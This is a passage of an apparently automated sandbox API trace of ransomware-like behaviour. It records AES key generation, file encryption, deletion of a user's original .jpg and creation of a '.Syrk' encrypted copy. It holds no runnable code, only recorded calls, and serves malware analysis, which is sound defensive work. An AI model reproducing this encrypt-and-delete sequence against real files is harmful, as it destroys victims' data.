dwFlags=0x0, pbData=0x2454d18*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2454d18*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0247.896] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2454d34*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2454d34*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0247.896] WriteFile (in: hFile=0x454, lpBuffer=0x243b57c*, nNumberOfBytesToWrite=0x904, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x243b57c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x904, lpOverlapped=0x0) returned 1 [0247.896] CloseHandle (hObject=0x454) returned 1 [0247.898] CloseHandle (hObject=0x3c4) returned 1 [0247.899] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.936] EtwEventActivityIdControl () returned 0x0 [0247.936] EtwEventActivityIdControl () returned 0x0 [0247.936] EtwEventActivityIdControl () returned 0x0 [0247.943] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg")) returned 0x20 [0247.946] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0247.946] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", lpFilePart=0x0) returned 0x32 [0247.946] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0247.946] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0247.947] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0247.947] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0247.947] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0247.947] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0247.947] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0247.947] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0247.947] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0247.947] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0247.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0247.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0247.948] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0247.948] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0247.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0247.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0247.948] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg")) returned 0x20 [0247.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0247.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", lpFilePart=0x0) returned 0x32 [0247.952] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0247.952] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", lpFilePart=0x0) returned 0x32 [0247.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0247.953] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0247.953] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", lpFilePart=0x0) returned 0x32 [0247.953] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0247.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0247.954] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0247.954] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0247.954] CoTaskMemFree (pv=0x3b0008) [0247.956] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg")) returned 0x20 [0247.956] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0247.956] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg", lpFilePart=0x0) returned 0x32 [0247.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0247.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg"), fInfoLevelId=0x0, lpFileInformation=0x2460714 | out: lpFileInformation=0x2460714*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16a5cff0, ftCreationTime.dwHighDateTime=0x1d9977a, ftLastAccessTime.dwLowDateTime=0x5eb11730, ftLastAccessTime.dwHighDateTime=0x1d99baa, ftLastWriteTime.dwLowDateTime=0x5eb11730, ftLastWriteTime.dwHighDateTime=0x1d99baa, nFileSizeHigh=0x0, nFileSizeLow=0x18eb)) returned 1 [0247.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0247.956] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg")) returned 1 [0247.959] EtwEventActivityIdControl () returned 0x0 [0247.960] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.960] EtwEventActivityIdControl () returned 0x0 [0247.960] EtwEventActivityIdControl () returned 0x0 [0247.960] EtwEventActivityIdControl () returned 0x0 [0247.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg.syrk")) returned 0x20 [0247.970] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg.syrk")) returned 0x20 [0247.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0247.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk", lpFilePart=0x0) returned 0x37 [0247.971] EtwEventActivityIdControl () returned 0x0 [0247.971] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.972] EtwEventActivityIdControl () returned 0x0 [0247.972] EtwEventActivityIdControl () returned 0x0 [0247.972] EtwEventActivityIdControl () returned 0x0 [0247.976] EtwEventActivityIdControl () returned 0x0 [0247.977] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.977] EtwEventActivityIdControl () returned 0x0 [0247.977] EtwEventActivityIdControl () returned 0x0 [0247.977] EtwEventActivityIdControl () returned 0x0 [0247.982] EtwEventActivityIdControl () returned 0x0 [0247.982] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.982] EtwEventActivityIdControl () returned 0x0 [0247.982] EtwEventActivityIdControl () returned 0x0 [0247.982] EtwEventActivityIdControl () returned 0x0 [0248.054] EtwEventActivityIdControl () returned 0x0 [0248.054] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.055] EtwEventActivityIdControl () returned 0x0 [0248.055] EtwEventActivityIdControl () returned 0x0 [0248.055] EtwEventActivityIdControl () returned 0x0 [0248.059] EtwEventActivityIdControl () returned 0x0 [0248.060] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.060] EtwEventActivityIdControl () returned 0x0 [0248.060] EtwEventActivityIdControl () returned 0x0 [0248.060] EtwEventActivityIdControl () returned 0x0 [0248.065] EtwEventActivityIdControl () returned 0x0 [0248.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0248.070] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\CRAGPLrxjBWjbAs_pS.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\cragplrxjbwjbas_ps.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x246a6b0 | out: lpFileInformation=0x246a6b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf752410, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xf752410, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xf778570, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x1904)) returned 1 [0248.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0248.071] GetConsoleOutputCP () returned 0x1b5 [0248.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.071] GetConsoleOutputCP () returned 0x1b5 [0248.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.072] GetConsoleOutputCP () returned 0x1b5 [0248.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.072] GetConsoleOutputCP () returned 0x1b5 [0248.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.072] GetConsoleOutputCP () returned 0x1b5 [0248.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.073] GetConsoleOutputCP () returned 0x1b5 [0248.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.073] GetConsoleOutputCP () returned 0x1b5 [0248.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.073] GetConsoleOutputCP () returned 0x1b5 [0248.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.074] GetConsoleOutputCP () returned 0x1b5 [0248.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.074] GetConsoleOutputCP () returned 0x1b5 [0248.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.074] GetConsoleOutputCP () returned 0x1b5 [0248.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.074] GetConsoleOutputCP () returned 0x1b5 [0248.075] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.075] GetConsoleOutputCP () returned 0x1b5 [0248.075] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0248.075] GetConsoleOutputCP () returned 0x1b5 [0248.075] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0248.075] GetConsoleOutputCP () returned 0x1b5 [0248.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.076] GetConsoleOutputCP () returned 0x1b5 [0248.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0248.076] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0248.077] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0248.077] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2484334*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2484334*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0248.078] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0248.078] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0248.079] EtwEventActivityIdControl () returned 0x0 [0248.079] EtwEventActivityIdControl () returned 0x0 [0248.080] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.080] EtwEventActivityIdControl () returned 0x0 [0248.080] EtwEventActivityIdControl () returned 0x0 [0248.080] EtwEventActivityIdControl () returned 0x0 [0248.083] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.084] EtwEventActivityIdControl () returned 0x0 [0248.084] EtwEventActivityIdControl () returned 0x0 [0248.084] EtwEventActivityIdControl () returned 0x0 [0248.088] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cee0) returned 1 [0248.090] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994e0) returned 1 [0248.090] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.090] CryptExportKey (in: hKey=0x5c994e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0248.090] CryptExportKey (in: hKey=0x5c994e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x248bd0c, pdwDataLen=0x5a2e8c4 | out: pbData=0x248bd0c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0248.091] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.091] EtwEventActivityIdControl () returned 0x0 [0248.091] EtwEventActivityIdControl () returned 0x0 [0248.091] EtwEventActivityIdControl () returned 0x0 [0248.093] SysStringLen (param_1="") returned 0x8 [0248.093] SysStringLen (param_1="x") returned 0x8 [0248.093] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.093] SysStringLen (param_1="燽蝺崪烦삙窀ᾨ") returned 0x8 [0248.093] SysStringLen (param_1="燽蝺崪烦삙窀ᾨ") returned 0x8 [0248.093] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.093] SysStringLen (param_1="xI") returned 0x8 [0248.093] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.093] SysStringLen (param_1="츊닋묟棷≤ྕ藁ы") returned 0x8 [0248.093] SysStringLen (param_1="츊닋묟棷≤ྕ藁ы") returned 0x8 [0248.093] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.094] SysStringLen (param_1="xI3") returned 0x8 [0248.094] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.094] SysStringLen (param_1="ጕ⵼뾀誯ⓒ夋Ƶ") returned 0x8 [0248.094] SysStringLen (param_1="ጕ⵼뾀誯ⓒ夋Ƶ") returned 0x8 [0248.094] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.094] SysStringLen (param_1="xI3t") returned 0x8 [0248.094] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.094] SysStringLen (param_1="鄣擧دꃜⴌ얱ส泻") returned 0x8 [0248.094] SysStringLen (param_1="鄣擧دꃜⴌ얱ส泻") returned 0x8 [0248.094] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.095] SysStringLen (param_1="xI3th") returned 0x8 [0248.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.095] SysStringLen (param_1="쎼舧㴄퉡灄疤㋾") returned 0x8 [0248.095] SysStringLen (param_1="쎼舧㴄퉡灄疤㋾") returned 0x8 [0248.095] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.095] SysStringLen (param_1="xI3thk") returned 0x8 [0248.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.095] SysStringLen (param_1="爞䚊럦쵠鐡㨽") returned 0x8 [0248.095] SysStringLen (param_1="爞䚊럦쵠鐡㨽") returned 0x8 [0248.095] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.096] SysStringLen (param_1="xI3thk6") returned 0x8 [0248.096] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.096] SysStringLen (param_1="痁終㴠曁ꡆ稜᳾ힷ") returned 0x8 [0248.096] SysStringLen (param_1="痁終㴠曁ꡆ稜᳾ힷ") returned 0x8 [0248.096] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.096] SysStringLen (param_1="xI3thk6w") returned 0x8 [0248.096] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.096] SysStringLen (param_1="粄ᘠ\糦㩓耏⋜) returned 0x8 [0248.097] SysStringLen (param_1="粄ᘠ\糦㩓耏⋜) returned 0x8 [0248.097] SysStringLen (param_1="粄ᘠ\糦㩓耏⋜) returned 0x8 [0248.097] SysStringLen (param_1="粄ᘠ\糦㩓耏⋜) returned 0x10 [0248.097] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.097] SysStringLen (param_1="xI3thk6wQ⺵꽞尹嶓籉ᆻ") returned 0x10 [0248.097] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.098] SysStringLen (param_1="粄ᘠ\糦㩓耏뷜ἕ䥅䐊\\⋘) returned 0x10 [0248.098] SysStringLen (param_1="粄ᘠ\糦㩓耏뷜ἕ䥅䐊\\⋘) returned 0x10 [0248.098] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.098] SysStringLen (param_1="xI3thk6wQV꽞尹嶓籉ᆻ") returned 0x10 [0248.098] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.098] SysStringLen (param_1="粄ᘠ\糦㩓耏駜躖呰䀖鐋✚⋉) returned 0x10 [0248.098] SysStringLen (param_1="粄ᘠ\糦㩓耏駜躖呰䀖鐋✚⋉) returned 0x10 [0248.098] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.098] SysStringLen (param_1="xI3thk6wQVd尹嶓籉ᆻ") returned 0x10 [0248.098] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.099] SysStringLen (param_1="粄ᘠ\糦㩓耏⇜閝₸᫴꺊韙㎥⋟) returned 0x10 [0248.099] SysStringLen (param_1="粄ᘠ\糦㩓耏⇜閝₸᫴꺊韙㎥⋟) returned 0x10 [0248.099] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.099] SysStringLen (param_1="xI3thk6wQVdC嶓籉ᆻ") returned 0x10 [0248.099] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.099] SysStringLen (param_1="粄ᘠ\糦㩓耏柜᭨۬횐梎焃箌⁂⋻) returned 0x10 [0248.099] SysStringLen (param_1="粄ᘠ\糦㩓耏柜᭨۬횐梎焃箌⁂⋻) returned 0x10 [0248.099] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.099] SysStringLen (param_1="xI3thk6wQVdCs籉ᆻ") returned 0x10 [0248.099] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.099] SysStringLen (param_1="粄ᘠ\糦㩓耏燜닶芣뒲埙⧼鱹⋒) returned 0x10 [0248.100] SysStringLen (param_1="粄ᘠ\糦㩓耏燜닶芣뒲埙⧼鱹⋒) returned 0x10 [0248.100] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.100] SysStringLen (param_1="xI3thk6wQVdCsg籉ᆻ") returned 0x10 [0248.100] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.100] SysStringLen (param_1="粄ᘠ\糦㩓耏㗜檆ॢ됨ᜩ爃빵∉) returned 0x10 [0248.100] SysStringLen (param_1="粄ᘠ\糦㩓耏㗜檆ॢ됨ᜩ爃빵∉) returned 0x10 [0248.100] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.100] SysStringLen (param_1="xI3thk6wQVdCsgFᆻ") returned 0x10 [0248.100] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: 